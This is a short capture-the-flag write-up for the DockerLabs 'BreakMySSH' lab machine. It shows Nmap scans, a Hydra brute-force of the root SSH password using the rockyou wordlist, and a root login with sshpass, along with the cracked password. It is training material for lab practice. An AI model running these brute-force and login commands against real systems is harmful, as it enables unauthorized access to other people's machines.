> For the complete documentation index, see [llms.txt](https://itszaiden.gitbook.io/pentesting/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://itszaiden.gitbook.io/pentesting/writeups/dockerlabs/very-easy/breakmyssh.md).

# BreakMySSH

## 1 - Reconnaissance

We begin with a fast Nmap scan to identify open ports:

`nmap 172.17.0.2 -p- --open -sS -Pn --min-rate 5000 -T5`

**Result: port 22 is open**

## 2 - Enumeration

Now we run a service/version detection scan, targeting only the open ports we found on the previous scan:

`nmap 172.17.0.2 -p 22 -sS -Pn -sCV`

**Result:**

<figure><img src="/files/dsfvTOl5duWrDxJ2wicO" alt=""><figcaption><p>(BreakMySSH) Targeted Port Scan</p></figcaption></figure>

After running `searchsploit OpenSSH 7.7` we didn't find anything useful, and we proceed to bruteforce using `Hydra`.

```
hydra -u root -P /usr/share/wordlists/rockyou.txt ssh://172.17.0.2
```

Hydra attack was successful, and we got the password `estrella`.

## 3 - Exploitation

As we have valid credentials for root, all we need to do is:

```
sshpass -p estrella ssh root@172.17.0.2
```

After that, we logged in as root and have full control of the machine.

## 4 - Summary

**Initial Access** Obtained valid credentials by applying an Hydra attack to SSH service.